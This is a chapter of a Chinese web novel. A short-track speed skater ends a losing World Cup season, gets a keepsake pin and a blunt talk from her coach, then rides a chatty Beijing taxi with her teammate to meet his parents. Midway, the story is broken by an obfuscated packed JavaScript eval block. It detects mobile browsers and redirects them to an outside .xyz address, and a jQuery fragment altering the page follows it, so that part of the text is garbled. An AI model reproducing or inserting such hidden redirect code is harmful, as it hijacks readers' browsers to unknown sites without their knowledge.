22. chapter22
作品:《季锋过江·短道速滑》 chapter22
世界杯的最后一站,就这样结束了。
季锋拉着行李箱,走出房门。
领队已经开始清点人数,叮嘱他们别忘带证件、别丢下什么东西在这里。
她的行李箱比来时更重了——里面塞满了冰迷送来的礼物。
有信件,有小礼物,甚至还有个2010年的冬奥会的徽章。
徽章是玛丽送给她的。
那是在比赛全部结束之后,从官方转播席上走下来个女人。金发碧眼,大约四十几岁,身着西装。
她先和季锋做了自我介绍,原来她就是2010年冬奥运动员,来自红国。
她这么一介绍,季锋才认出来,玛丽是红国的短道速滑选手,三届冬奥参赛,金牌在手,职业生涯几乎完美。
退役之后玛丽明显丰腴,眼神里少了当初的锐利,显得平和。
这次她是来做比赛解说的。
玛丽在2010年冬奥后宣告退役,虽然最后一届她并没有得到任何的奖牌,但是玛丽能够坚持到最后一届,已经实属不易。
而那一年,是中国队崛起的一年。
玛丽和她率领的红国队屡次被中国打败。
不过,玛丽似乎并不介怀,甚至十分敬佩。
“橙还好吗?”
她问的是孟橙。
季锋叫翻译告诉她:“孟橙已经兼项大道速滑,现在成绩稳步上升。”
“七河呢?听说她脚踝受伤,现在怎么样?”
季锋默然。
周七河的脚踝几乎粉碎,一度连走路都成问题。现在虽然经过几次手术,已经康复,但是,再也不能上冰。
季锋想了想,才谨慎地说:“她在等待国家的召唤,随时为短道事业贡献自己的力量。”
玛丽挑挑眉,似乎也很惋惜。周七河当年负伤,事发突然,玛丽也觉得十分震惊、遗憾。
她从兜里拿出来个徽章,晃一晃,说:“送给你,这是当年橙给我的,希望能给你带来好运。”
运动员之间也流行换pin,这便是孟橙当时和她交换的。
一枚有点斑驳的徽章,是个冰刀的式样。
这种在赛事上交换的徽章,纪念意义大过其本身。
季锋收下了。
玛丽抱了抱她:“Goodluck.”
她会好运的。
一定会的。
季锋就带着这满满的行李箱,离开了温哥华。
去机场的大巴车上,大家都昏睡过去,而季锋却看着窗外倒退的风景,毫无困意。
阳光灿烂,碧绿青草。
所谓的心理阴影,在阳光下,应该是无处遁形。
怕被落下,去追赶就好。
陈教练似乎睡醒了一觉,看见季锋还醒着,就晃晃悠悠地走过来,在她身边坐下。
“输够了吧。”
季锋有点羞赧,但还是轻轻地点点头:“够了的。”
这次温哥华站,季锋没有单项金牌入账。
在她的主项1500米比赛中,她瞻前顾后、畏首畏尾,没有把握住最佳时机,在后程两圈才起速超越,但是已经贻误战机,最终只进了finalb,a组决赛不进。
兼项的1000米,季锋也表现平平,止步于1/4决赛。
不仅如此,她在女子接力中的巨大失误,让中国队损失了一枚金牌。
真的是一输到底。
季锋这个赛季,成绩高开低走。她刚在冰迷心里建立起来的信任也已经崩塌。
虽然粉丝还在鼓励她。但是,贴吧和论坛里对她的争议也不少。
有个帖子,写得很尖锐。
“长距离后继无人,最强新人季锋已废,可以抬走了。”
帖子里把季锋的比赛复盘了一遍,下了定义,说她是一位遇强则软,遇软才强的选手,只会比内战,出去比赛就跪了。
软脚虾。
季锋看见帖子的时候,不可能毫无波动。
但是,她不在意。
因为她会赢,她要赢。
陈教练淡淡地说:“我看得出来,你有思想包袱。不过,我坚持让你这次打满全场,也就是想告诉你。”
“输就输,谁也不是常胜将军。”
“否极泰来这种话,不仅仅是指运气,也可以指心态。”
“输到底了,无路可退了,这就叫破釜沉舟。”
“我给你换了一个分管教练,回去把你的动作再磨精细些。”
“你准备吧。世锦赛我还会带你去,名额还是你的。”
“不过你也要记住,成绩,我要成绩,你必须交成绩给我。”
陈教练说得斩钉截铁。
季锋点点头。
这才是真正的,最后一战。
队伍可以容忍她的失误和状态不佳,却不会一直放任她这么烂下去。
世锦赛之后就是选拔赛,马上就是冬奥。
世锦赛就是她最后的机会,证明自己的机会。
回国之后的生活又归于平淡。
训练,按摩,和江为止瞎聊天。
江为止已经调回a队——为了备战世锦赛。
冰联已经正式决定,把男女混合接力新增为短道速滑的比赛项目。现在各个国家都在提前训练、磨合阵容。
中国队的混接,现在有两套比较稳定的阵容。其中,陈业昂和齐择是男队的主力,池圆圆和刘子阳是女队的主力。他们四个是比较固定的搭配。
而江为止、苏豫负责打男队轮换,如果两个主力出现了什么意外或者需要休整,就视情况将他们俩调整进队伍。
女队这边,却是僧多粥少,季锋、叶又绿、陈依依、凌素,总共四个人打替补。其中,除了季锋是长距离选手,剩下三名都是主攻500米。
中国队的短距离一向比长距离要好。
因为爆发力强、训练方法得当,现在的后备队员里,练500米的苗子比比皆是。
不过,女队里,除了池圆圆的成绩比较亮眼,其余的运动员都大差不差,没有什么碾压的实力。
因此竞争也就更激烈了。
而季锋这个练长距离的,颇有点局外人的意思。她的主项中,没有什么人跟她竞争。唯一算得上是前辈的,只有两个人。其中一个成绩下滑严重,已经掉到b队去了,不具有竞争力。
另一个前辈就是陈依依。
陈依依是个大队员了,当年经常给孟橙打配合战术。
虽然,陈依依的年纪比孟橙小一些,但是,她的伤病情况比较严重,这两年成绩不算亮眼,只能算个经验丰富的选手。
不过,她是个万金油选手,能力均衡,从500到1500米,她都能滑出不错的成绩。
也正因如此,每每遇见大赛缺额的时候,总是陈依依补上。
她能掌握三种起跑姿势,分别用于500米冲刺、长距离起跑的赛场。
不过,就像木桶理论一样,成绩太过于平均,就很容易单项平凡。
陈依依没拿过全能王,也没拿过单项金牌。
但是,在接力中,她像粘合剂一样,能很快适应大家的节奏,并且滑商高超。
很适合滑接力的选手。
所以,混接名额中,女队两个人是定下来最快的。
季锋对此没什么意见,只是加大了训练量。
一年之后才会正式开放男女混接赛场呢。
一年的时间可以改变很多。
也许到时候,季锋能突飞猛进,成为主力呢。
因此,现下,季锋虽只是个打替补的,但是她也得跟着训练,以备不时之需。
这天下了冰,季锋急匆匆地回宿舍,洗了个澡,换了身很少穿的大衣裙子。
正要出门,忽然摸到发丝有点湿。
又要被江为止念叨了。
季锋无奈地想了想,还是折返回来,拿吹风机,耐心地吹干。
嗯,吹得很彻底了。
季锋围上围巾,出门去。
江为止正在楼下等她,他正在饶有兴致地踩着一片片落叶。
等待季锋的时间并不会无聊。
麻雀叫,白云飘,春光好。
只要是等她,就都很好。
季锋跑出来,她穿着一件白色的大衣,系红色的方格围巾。
头发虽然没有做过造型,但是天生就是漆黑而垂顺的发质,硬硬的,垂在肩头。
看着很乖,像是正在念书的小孩。
季锋若是去读书,大约也是沉静型的小班长,或者是什么沉默寡言的优等生。
而她此刻,正奔向他。
江为止伸出手,像迎接她的骑士——
嗯,下一秒,就伸手摸了摸她的头发。
检查头发是否吹干,已经成为江为止的一项重要工作。
“嗯,我们季锋同学现在很听话嘛。终于会吹头发了,真了不起。”
季锋斜他一眼。
他们两个一起往外走去。
今天是个很重要的日子。
因为江为止的父母来北京探望他们啦。
季锋特别想他们。
虽然只相处了几天,但是,这半年来,江妈妈在给江为止寄东西的时候,总是不忘季锋这一份儿。
甚至连过年的新衣服,都买好寄过来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808168|158558||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道季锋不怎么操心打扮的事情,江妈妈把衣服都给搭配好了,每一套衣服装在一个收纳袋里,要穿的话,拿出来就行。
现下穿的这一套就是。
两个人出门,叫了辆车。
司机是个道道地地的北京人,对这块儿倍儿熟悉。
看见他俩从首体的宿舍出来,乐了,顺嘴就来了一句客套话。
“今天我这车拉俩冠军啊。”
江为止特激动地凑上去:“您认识我啊?”
他心里挺美的。谁说冬季项目冷门?起码他江为止,粉丝影响力已经辐射到了这位中年大叔啊。
大叔也特认真地看了看他:“您是?”
礼貌,又打脸。
“我是冠军啊?”
大叔又眯起眼,看了半天:“不太像。”
“那您说今天拉了俩冠军。搞半天您不认识我们啊。”
大叔乐了,一打方向盘,这才语重心长道:“小伙子,我客套两句,你还真不客气啦!能不能谦虚点!”
“我跟你交个实在话儿,我在这块儿,熟!我这车,载过周七河和孟橙呢!她俩大半夜偷溜出去吃海鲜,就是坐的我的车!哼,还有那个搞花样滑冰哒,那一对叫什么来着!反正我见过的冠军,可海了去啦!”
“你不像冠军,真的。”
季锋实在憋不住笑了,她插了一句话,问:“那他像啥。”
司机端详了会儿。
“我听说冰球,是冰球吧?是可以场上打架的。我瞅你像个打架的。你别是那个冰球队的吧!”
……
“小伙子你别气呀。咱说句心里话,我主要是没见过,这个……呃,打扮这么个性的运动员……”
司机找补了两句。
是真的,这小伙子的头发整的什么颜色啊,黄白黄白的。衣服么穿的就更奇怪了,那是什么颜色都往身上堆啊。
看一会儿都眼睛疼。
还是看看另外这个姑娘比较顺眼。
白白净净,话不多。
司机就搭讪起来:“姑娘,我感觉你挺有冠军相啊。你什么项目啊?”
江为止本来还在那郁闷呢,听见司机这句话,也来精神了:“是呗,我也感觉她有冠军相呢,唉呀妈呀,咱俩这终于有共同话题了,不容易啊。”
司机也特能侃,张嘴就来:“你瞅姑娘,长多好看!”
“嗯呐!嗯呐!是好看!鼻子是鼻子,眼睛是眼睛,没多长一张嘴。”
江为止乐了,开始捧哏。
司机乐呵呵地说:“姑娘多大啦?看着可小着呢?”
“她十七!”
江为止就像是季锋的代言人。
“哟,跟我儿子一边儿大嘿!”司机越说越起劲,“我儿子在内个,内个北外,读大学呢!保送!成绩好得不得了。哎呀呀,我儿子长得也特文气。要不,姑娘你俩加个微信?”
啥。
相亲啊?
司机师傅犹自念叨着:“真的,我在首体这儿熟人多着哪。你打听打听,跑车的老王!就是我啦!我儿子有出息着呢!”
江为止急了:“师傅,她旁边儿,还坐着一喘气儿的呢,你当我是空气啊!”
司机从后视镜里看了半天,嘴里念叨着:“啊?不应该啊?看着不像一对儿啊?”
江为止也翻个白眼,拿胳膊肘捅了捅季锋,给她个眼神自己体会。
季锋可不想加什么北京外国语的儿子的微信。
她赶紧澄清:“我们俩这是去机场接他爸妈呢。”
“得,这我还能说什么呢!都见家长了。”
司机师傅肉眼可见地失望。
多好个姑娘啊。
江为止还嫌不够,又添了一句:“也不是第一次见了。我都领回家了。”
季锋脸上笑了笑,手上却没停,狠狠地拧了他一下。
虽然她确实去过江家,也确实不是第一次见他父母,这话怎么说起来那么不对劲儿呢。
江为止也小声地在她耳边说:“难道你真想听他念叨一路他儿子啊?”
季锋从善如流,火速闭嘴。
出租车很快抵达了机场。
下车的时候,司机师傅叹口气,痛心疾首地说:“好好个小姑娘,真白瞎了。”
这小伙子,长得虽然还可以,但是打扮得色彩斑斓的,他看一会儿都眼睛疼。这个素净的小姑娘,怕是个色弱?
怎么能跟他成一对呢。
白瞎了。
司机绝尘而去。
江为止把后槽牙咬得青筋暴起。
“以后我们出门,打专车!!!要备注,司机要话少!”

